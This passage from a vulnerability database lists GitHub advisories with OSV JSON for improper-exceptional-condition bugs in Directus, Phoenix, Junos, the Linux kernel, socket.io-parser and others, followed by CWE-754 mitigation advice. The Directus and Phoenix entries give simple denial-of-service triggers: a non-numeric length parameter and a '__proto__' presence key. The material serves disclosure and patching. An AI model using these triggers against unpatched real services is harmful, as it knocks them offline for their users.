"type": "CVSS_V3"
}
],
"summary": "Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)"
}
GHSA-632P-P495-25M5
Vulnerability from github – Published: 2024-06-04 17:53 – Updated: 2024-06-04 17:53Describe the Bug
Providing a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID.
To Reproduce
- Test if the endpoint is working and accessible,
GET http://localhost:8055/utils/random/string - Do a bad request
GET http://localhost:8055/utils/random/string?length=foo - After this all calls to
GET http://localhost:8055/utils/random/stringwill return an empty string instead of a random string - In this error situation you'll see authentication refreshes fail for the app and api.
Impact
This counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.11.1"
},
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.11.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-36128"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-04T17:53:29Z",
"nvd_published_at": "2024-06-03T15:15:09Z",
"severity": "HIGH"
},
"details": "### Describe the Bug\n\nProviding a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID.\n\n### To Reproduce\n\n1. Test if the endpoint is working and accessible, `GET http://localhost:8055/utils/random/string`\n2. Do a bad request `GET http://localhost:8055/utils/random/string?length=foo`\n3. After this all calls to `GET http://localhost:8055/utils/random/string` will return an empty string instead of a random string\n4. In this error situation you\u0027ll see authentication refreshes fail for the app and api.\n\n### Impact\n\nThis counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet.",
"id": "GHSA-632p-p495-25m5",
"modified": "2024-06-04T17:53:29Z",
"published": "2024-06-04T17:53:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-632p-p495-25m5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36128"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/7d2a1392f43613094de700062aba168a9400dd3b"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Directus is soft-locked by providing a string value to random string util"
}
GHSA-63MC-HW7G-86RR
Vulnerability from github – Published: 2026-09-03 20:30 – Updated: 2026-09-03 20:30Summary
The Phoenix JavaScript presence client (assets/js/phoenix/presence.js) tests whether a presence already exists using a bare truthiness check (state[key]) rather than an own-property check. Because applications commonly track presences under a client-supplied username or id, the presence key can be attacker-controlled. A user who joins a channel and picks a key that names an Object.prototype member (__proto__, constructor, toString, hasOwnProperty, and similar) makes the lookup return the inherited Object.prototype object instead of undefined, which is truthy. The code then reads .metas.map(...) off it and throws an uncaught TypeError, breaking presence sync for every viewer of that channel topic. Any authenticated channel participant can trigger it.
Details
The victim is any browser subscribed to a presence channel. When it receives the server's presence_state message, it invokes Presence.syncState, which iterates the incoming presences and checks whether each one already exists locally via let currentPresence = state[key]. state is a plain object inheriting from Object.prototype. For an ordinary key like alice, state["alice"] is undefined (falsy) and the safe path runs. For the key __proto__ (or constructor, toString, etc.), state["__proto__"] does not resolve to a tracked presence but to JavaScript's built-in Object.prototype, which is truthy. The if(currentPresence) guard passes, and the code evaluates currentPresence.metas.map(m => m.phx_ref). Since Object.prototype.metas is undefined, calling .map on it throws a TypeError.
Phoenix wraps no try/catch around channel binding callbacks, so the TypeError propagates out of the message handler: this.state is never updated and onSync() never fires. The malicious key is tracked server-side, so it is re-pushed on every presence update and keeps re-throwing, leaving presence permanently broken until the attacker leaves. Presence.syncDiff uses the same unsafe state[key] existence-check pattern, so presence diffs fail identically.
Two scoping points matter. The impact is per channel topic, not global: presence state is per-topic on the server and per-Presence-instance in the browser, so only viewers of the topic carrying the malicious key are affected. The bug is a read-time confusion of the prototype object, not prototype pollution: the crash occurs on the state["__proto__"] read in syncState, before any state[key] = ... write is reached, so Object.prototype is never mutated and nothing leaks across channels. The fix builds the state and accumulator objects with Object.create(null) (or a Map) and gates existence checks with Object.prototype.hasOwnProperty.call(obj, key).
If an application does not pass a client-controlled key to Presence.track, it is not affected.
PoC
- Connect to an application that uses
Phoenix.Presenceand tracks presences under a client-chosen key (e.g. a username). - Join a presence channel choosing the key
__proto__(orconstructor,toString,hasOwnProperty). - The server tracks the presence and pushes
presence_state/presence_diffto every subscriber of that topic. - Each viewer's
Presence.syncState(orsyncDiff) readsstate["__proto__"], gets the truthyObject.prototype, and throws an uncaughtTypeError. - Presence sync stays broken for all viewers of the topic until the attacker leaves the channel.
Impact
An attacker with ordinary channel access can cause a persistent, stored client-side denial of service against every browser viewing a presence channel topic, freezing presence updates for all of them until the attacker disconnects. Any application driving the Phoenix JavaScript presence client with user-influenced presence keys is affected.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0-rc.0"
},
{
"fixed": "1.5.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Hex",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-rc.0"
},
{
"fixed": "1.6.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Hex",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-rc.0"
},
{
"fixed": "1.7.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Hex",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0-rc.0"
},
{
"fixed": "1.5.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-rc.0"
},
{
"fixed": "1.6.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-rc.0"
},
{
"fixed": "1.7.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "phoenix"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56812"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T20:30:33Z",
"nvd_published_at": "2026-07-07T16:16:40Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Phoenix JavaScript presence client (`assets/js/phoenix/presence.js`) tests whether a presence already exists using a bare truthiness check (`state[key]`) rather than an own-property check. Because applications commonly track presences under a client-supplied username or id, the presence key can be attacker-controlled. A user who joins a channel and picks a key that names an `Object.prototype` member (`__proto__`, `constructor`, `toString`, `hasOwnProperty`, and similar) makes the lookup return the inherited `Object.prototype` object instead of `undefined`, which is truthy. The code then reads `.metas.map(...)` off it and throws an uncaught `TypeError`, breaking presence sync for every viewer of that channel topic. Any authenticated channel participant can trigger it.\n\n### Details\n\nThe victim is any browser subscribed to a presence channel. When it receives the server\u0027s `presence_state` message, it invokes `Presence.syncState`, which iterates the incoming presences and checks whether each one already exists locally via `let currentPresence = state[key]`. `state` is a plain object inheriting from `Object.prototype`. For an ordinary key like `alice`, `state[\"alice\"]` is `undefined` (falsy) and the safe path runs. For the key `__proto__` (or `constructor`, `toString`, etc.), `state[\"__proto__\"]` does not resolve to a tracked presence but to JavaScript\u0027s built-in `Object.prototype`, which is truthy. The `if(currentPresence)` guard passes, and the code evaluates `currentPresence.metas.map(m =\u003e m.phx_ref)`. Since `Object.prototype.metas` is `undefined`, calling `.map` on it throws a `TypeError`.\n\nPhoenix wraps no try/catch around channel binding callbacks, so the `TypeError` propagates out of the message handler: `this.state` is never updated and `onSync()` never fires. The malicious key is tracked server-side, so it is re-pushed on every presence update and keeps re-throwing, leaving presence permanently broken until the attacker leaves. `Presence.syncDiff` uses the same unsafe `state[key]` existence-check pattern, so presence diffs fail identically.\n\nTwo scoping points matter. The impact is per channel topic, not global: presence state is per-topic on the server and per-`Presence`-instance in the browser, so only viewers of the topic carrying the malicious key are affected. The bug is a read-time confusion of the prototype object, not prototype pollution: the crash occurs on the `state[\"__proto__\"]` read in `syncState`, before any `state[key] = ...` write is reached, so `Object.prototype` is never mutated and nothing leaks across channels. The fix builds the state and accumulator objects with `Object.create(null)` (or a `Map`) and gates existence checks with `Object.prototype.hasOwnProperty.call(obj, key)`.\n\nIf an application does not pass a client-controlled key to `Presence.track`, it is **not** affected.\n\n### PoC\n\n1. Connect to an application that uses `Phoenix.Presence` and tracks presences under a client-chosen key (e.g. a username).\n2. Join a presence channel choosing the key `__proto__` (or `constructor`, `toString`, `hasOwnProperty`).\n3. The server tracks the presence and pushes `presence_state` / `presence_diff` to every subscriber of that topic.\n4. Each viewer\u0027s `Presence.syncState` (or `syncDiff`) reads `state[\"__proto__\"]`, gets the truthy `Object.prototype`, and throws an uncaught `TypeError`.\n5. Presence sync stays broken for all viewers of the topic until the attacker leaves the channel.\n\n### Impact\n\nAn attacker with ordinary channel access can cause a persistent, stored client-side denial of service against every browser viewing a presence channel topic, freezing presence updates for all of them until the attacker disconnects. Any application driving the Phoenix JavaScript presence client with user-influenced presence keys is affected.",
"id": "GHSA-63mc-hw7g-86rr",
"modified": "2026-09-03T20:30:33Z",
"published": "2026-09-03T20:30:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phoenixframework/phoenix/security/advisories/GHSA-63mc-hw7g-86rr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56812"
},
{
"type": "WEB",
"url": "https://github.com/phoenixframework/phoenix/commit/7f7b971c1ea0994e3fbd1c11ddb05e780bd38ad8"
},
{
"type": "WEB",
"url": "https://github.com/phoenixframework/phoenix/commit/89a1c4be161e436241e12b2378a719904b9bd96f"
},
{
"type": "WEB",
"url": "https://github.com/phoenixframework/phoenix/commit/b90b22521465ece00eb5a19d5aa2b9465b209c85"
},
{
"type": "WEB",
"url": "https://github.com/phoenixframework/phoenix/commit/beffc4da1e787e572121f68902c63daf4fe7d9c2"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-56812.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/phoenixframework/phoenix"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-56812"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Phoenix: Presence keys colliding with `Object.prototype` members break existence checks"
}
GHSA-63V2-9QJR-CCX3
Vulnerability from github – Published: 2022-04-15 00:00 – Updated: 2022-04-22 00:00A vulnerability in Juniper Networks Junos OS on SRX Series, allows a network-based unauthenticated attacker to cause a Denial of Service (DoS) by sending a specific fragmented packet to the device, resulting in a flowd process crash, which is responsible for packet forwarding. Continued receipt and processing of this specific packet will create a sustained DoS condition. This issue only affects SRX Series when 'preserve-incoming-fragment-size' feature is enabled. This issue affects Juniper Networks Junos OS on SRX Series: 18.3 versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R3-S10; 19.1 versions prior to 19.1R3-S7; 19.2 versions prior to 19.2R3-S4; 19.3 versions prior to 19.3R3-S4; 19.4 versions prior to 19.4R3-S6; 20.1 versions prior to 20.1R3-S2; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R2. This issue does not affect Juniper Networks Junos OS prior to 17.3R1.
{
"affected": [],
"aliases": [
"CVE-2022-22185"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-14T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Juniper Networks Junos OS on SRX Series, allows a network-based unauthenticated attacker to cause a Denial of Service (DoS) by sending a specific fragmented packet to the device, resulting in a flowd process crash, which is responsible for packet forwarding. Continued receipt and processing of this specific packet will create a sustained DoS condition. This issue only affects SRX Series when \u0027preserve-incoming-fragment-size\u0027 feature is enabled. This issue affects Juniper Networks Junos OS on SRX Series: 18.3 versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R3-S10; 19.1 versions prior to 19.1R3-S7; 19.2 versions prior to 19.2R3-S4; 19.3 versions prior to 19.3R3-S4; 19.4 versions prior to 19.4R3-S6; 20.1 versions prior to 20.1R3-S2; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R2. This issue does not affect Juniper Networks Junos OS prior to 17.3R1.",
"id": "GHSA-63v2-9qjr-ccx3",
"modified": "2022-04-22T00:00:57Z",
"published": "2022-04-15T00:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22185"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA69493"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-64H2-GCQJ-XWFC
Vulnerability from github – Published: 2024-10-11 18:32 – Updated: 2024-10-11 18:32An Improper Check for Unusual or Exceptional Conditions vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network based attacker to cause a Denial of Service (DoS).
In a scenario where BGP Monitoring Protocol (BMP) is configured with rib-in pre-policy monitoring, receiving a BGP update with a specifically malformed AS PATH attribute over an established BGP session, can cause an RPD crash and restart.
This issue affects:
Junos OS:
- All versions before 21.2R3-S8,
- 21.4 versions before 21.4R3-S8,
- 22.2 versions before 22.2R3-S4,
- 22.3 versions before 22.3R3-S3,
- 22.4 versions before 22.4R3-S2,
- 23.2 versions before 23.2R2-S1,
- 23.4 versions before 23.4R1-S2, 23.4R2;
Junos OS Evolved:
- All versions before 21.2R3-S8-EVO,
- 21.4 versions before 21.4R3-S8-EVO,
- 22.2 versions before 22.2R3-S4-EVO,
- 22.3 versions before 22.3R3-S3-EVO,
- 22.4 versions before 22.4R3-S2-EVO,
- 23.2 versions before 23.2R2-S1-EVO,
- 23.4 versions before 23.4R1-S2-EVO, 23.4R2-EVO.
{
"affected": [],
"aliases": [
"CVE-2024-47499"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-11T16:15:10Z",
"severity": "HIGH"
},
"details": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network based attacker to cause a Denial of Service (DoS).\u00a0\n\nIn a scenario where BGP Monitoring Protocol (BMP) is configured with rib-in pre-policy monitoring, receiving a BGP update with a specifically malformed AS PATH attribute over an established BGP session, can cause an RPD crash and restart.\n\nThis issue affects:\n\nJunos OS:\u00a0\n\n\n\n * All versions before 21.2R3-S8,\n * 21.4 versions before 21.4R3-S8,\n * 22.2 versions before 22.2R3-S4,\n * 22.3 versions before 22.3R3-S3,\n * 22.4 versions before 22.4R3-S2,\n * 23.2 versions before 23.2R2-S1,\n * 23.4 versions before 23.4R1-S2, 23.4R2;\n\n\n\n\n\n\n\nJunos OS Evolved:\n\n\n\n\n * All versions before 21.2R3-S8-EVO,\n * 21.4 versions before 21.4R3-S8-EVO,\n * 22.2 versions before 22.2R3-S4-EVO,\n * 22.3 versions before 22.3R3-S3-EVO,\n * 22.4 versions before 22.4R3-S2-EVO,\n * 23.2 versions before 23.2R2-S1-EVO,\n * 23.4 versions before 23.4R1-S2-EVO, 23.4R2-EVO.",
"id": "GHSA-64h2-gcqj-xwfc",
"modified": "2024-10-11T18:32:49Z",
"published": "2024-10-11T18:32:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47499"
},
{
"type": "WEB",
"url": "https://supportportal.juniper.net/JSA88129"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:A/V:X/RE:M/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-64HP-5254-Q6PC
Vulnerability from github – Published: 2025-08-19 18:31 – Updated: 2025-11-26 18:30In the Linux kernel, the following vulnerability has been resolved:
sunrpc: fix handling of server side tls alerts
Scott Mayhew discovered a security exploit in NFS over TLS in tls_alert_recv() due to its assumption it can read data from the msg iterator's kvec..
kTLS implementation splits TLS non-data record payload between the control message buffer (which includes the type such as TLS aler or TLS cipher change) and the rest of the payload (say TLS alert's level/description) which goes into the msg payload buffer.
This patch proposes to rework how control messages are setup and used by sock_recvmsg().
If no control message structure is setup, kTLS layer will read and process TLS data record types. As soon as it encounters a TLS control message, it would return an error. At that point, NFS can setup a kvec backed msg buffer and read in the control message such as a TLS alert. Msg iterator can advance the kvec pointer as a part of the copy process thus we need to revert the iterator before calling into the tls_alert_recv.
{
"affected": [],
"aliases": [
"CVE-2025-38566"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-19T17:15:33Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: fix handling of server side tls alerts\n\nScott Mayhew discovered a security exploit in NFS over TLS in\ntls_alert_recv() due to its assumption it can read data from\nthe msg iterator\u0027s kvec..\n\nkTLS implementation splits TLS non-data record payload between\nthe control message buffer (which includes the type such as TLS\naler or TLS cipher change) and the rest of the payload (say TLS\nalert\u0027s level/description) which goes into the msg payload buffer.\n\nThis patch proposes to rework how control messages are setup and\nused by sock_recvmsg().\n\nIf no control message structure is setup, kTLS layer will read and\nprocess TLS data record types. As soon as it encounters a TLS control\nmessage, it would return an error. At that point, NFS can setup a\nkvec backed msg buffer and read in the control message such as a\nTLS alert. Msg iterator can advance the kvec pointer as a part of\nthe copy process thus we need to revert the iterator before calling\ninto the tls_alert_recv.",
"id": "GHSA-64hp-5254-q6pc",
"modified": "2025-11-26T18:30:57Z",
"published": "2025-08-19T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38566"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/25bb3647d30a20486b5fe7cff2b0e503c16c9692"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3b549da875414989f480b66835d514be80a0bd9c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6b33c31cc788073bfbed9297e1f4486ed73d87da"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b1df394621710b312f0393e3f240fdac0764f968"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/bee47cb026e762841f3faece47b51f985e215edb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-66FW-43H8-F8P3
Vulnerability from github – Published: 2024-07-26 21:14 – Updated: 2025-05-15 21:23Affected versions of the crate failed to catch C++ exceptions raised within the XmpFile::close function. If such an exception occurred, it would trigger undefined behavior, typically a process abort.
This is best demonstrated in issue #230, where a race condition causes the close call to fail due to file I/O errors.
This was fixed in PR #232 (released as crate version 1.9.0), which now safely handles the exception.
For backward compatibility, the existing API ignores the error. A new API XmpFile::try_close was added to allow callers to receive and process the error result.
Users of all prior versions of xmp_toolkit are encouraged to update to version 1.9.0 to avoid undefined behavior.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "xmp_toolkit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-26T21:14:54Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "Affected versions of the crate failed to catch C++ exceptions raised within the `XmpFile::close` function. If such an exception occurred, it would trigger undefined behavior, typically a process abort.\n\nThis is best demonstrated in [issue #230](https://github.com/adobe/xmp-toolkit-rs/issues/230), where a race condition causes the `close` call to fail due to file I/O errors.\n\nThis was fixed in [PR #232](https://github.com/adobe/xmp-toolkit-rs/pull/232) (released as crate version 1.9.0), which now safely handles the exception.\n\nFor backward compatibility, the existing API ignores the error. A new API `XmpFile::try_close` was added to allow callers to receive and process the error result.\n\nUsers of all prior versions of `xmp_toolkit` are encouraged to update to version 1.9.0 to avoid undefined behavior.",
"id": "GHSA-66fw-43h8-f8p3",
"modified": "2025-05-15T21:23:42Z",
"published": "2024-07-26T21:14:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adobe/xmp-toolkit-rs/issues/230"
},
{
"type": "WEB",
"url": "https://github.com/adobe/xmp-toolkit-rs/issues/233"
},
{
"type": "WEB",
"url": "https://github.com/adobe/xmp-toolkit-rs/pull/232"
},
{
"type": "PACKAGE",
"url": "https://github.com/adobe/xmp-toolkit-rs"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0360.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "XMP Toolkit\u0027s `XmpFile::close` can trigger undefined behavior"
}
GHSA-677M-J7P3-52F9
Vulnerability from github – Published: 2026-03-18 17:26 – Updated: 2026-03-20 21:33Impact
A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.
Patches
| Version range | Used by | Fixed version |
|---|---|---|
>=4.0.0 <4.2.6 |
socket.io@4.x and socket.io-client@4.x |
4.2.6 |
>=3.4.0 <3.4.4 |
socket.io@2.x |
3.4.4 |
<3.3.5 |
socket.io-client@2.x |
3.3.5 |
Workarounds
There is no known workaround except upgrading to a safe version.
For more information
If you have any questions or comments about this advisory:
- Open a discussion here
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "socket.io-parser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "socket.io-parser"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "socket.io-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33151"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T17:26:14Z",
"nvd_published_at": "2026-03-20T21:17:15Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.\n\n### Patches\n\n| Version range | Used by | Fixed version |\n|------------------|--------------------------------------------|---------------|\n| `\u003e=4.0.0 \u003c4.2.6` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.6` |\n| `\u003e=3.4.0 \u003c3.4.4` | `socket.io@2.x` | `3.4.4` |\n| `\u003c3.3.5` | `socket.io-client@2.x` | `3.3.5` |\n\n### Workarounds\n\nThere is no known workaround except upgrading to a safe version.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open a discussion [here](https://github.com/socketio/socket.io/discussions)",
"id": "GHSA-677m-j7p3-52f9",
"modified": "2026-03-20T21:33:51Z",
"published": "2026-03-18T17:26:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-677m-j7p3-52f9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33151"
},
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/commit/719f9ebab0772ffb882bd614b387e585c1aa75d4"
},
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/commit/9d39f1f080510f036782f2177fac701cc041faaf"
},
{
"type": "WEB",
"url": "https://github.com/socketio/socket.io/commit/b25738c416c4e32fbff62ee182afa8f6d0dacf78"
},
{
"type": "PACKAGE",
"url": "https://github.com/socketio/socket.io"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "socket.io allows an unbounded number of binary attachments"
}
GHSA-684G-6HHV-XRR6
Vulnerability from github – Published: 2026-03-04 18:31 – Updated: 2026-03-04 18:31Dell Device Management Agent (DDMA), versions prior to 26.02, contain an Improper Check for Unusual or Exceptional Conditions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Denial of Service.
{
"affected": [],
"aliases": [
"CVE-2026-22760"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-04T17:16:18Z",
"severity": "LOW"
},
"details": "Dell Device Management Agent (DDMA), versions prior to 26.02, contain an Improper Check for Unusual or Exceptional Conditions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Denial of Service.",
"id": "GHSA-684g-6hhv-xrr6",
"modified": "2026-03-04T18:31:53Z",
"published": "2026-03-04T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22760"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000429177/dsa-2026-105"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).
Mitigation
Check the results of all functions that return a value and verify that the value is expected.
Mitigation
If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-38
If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
Mitigation
Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.
No CAPEC attack patterns related to this CWE.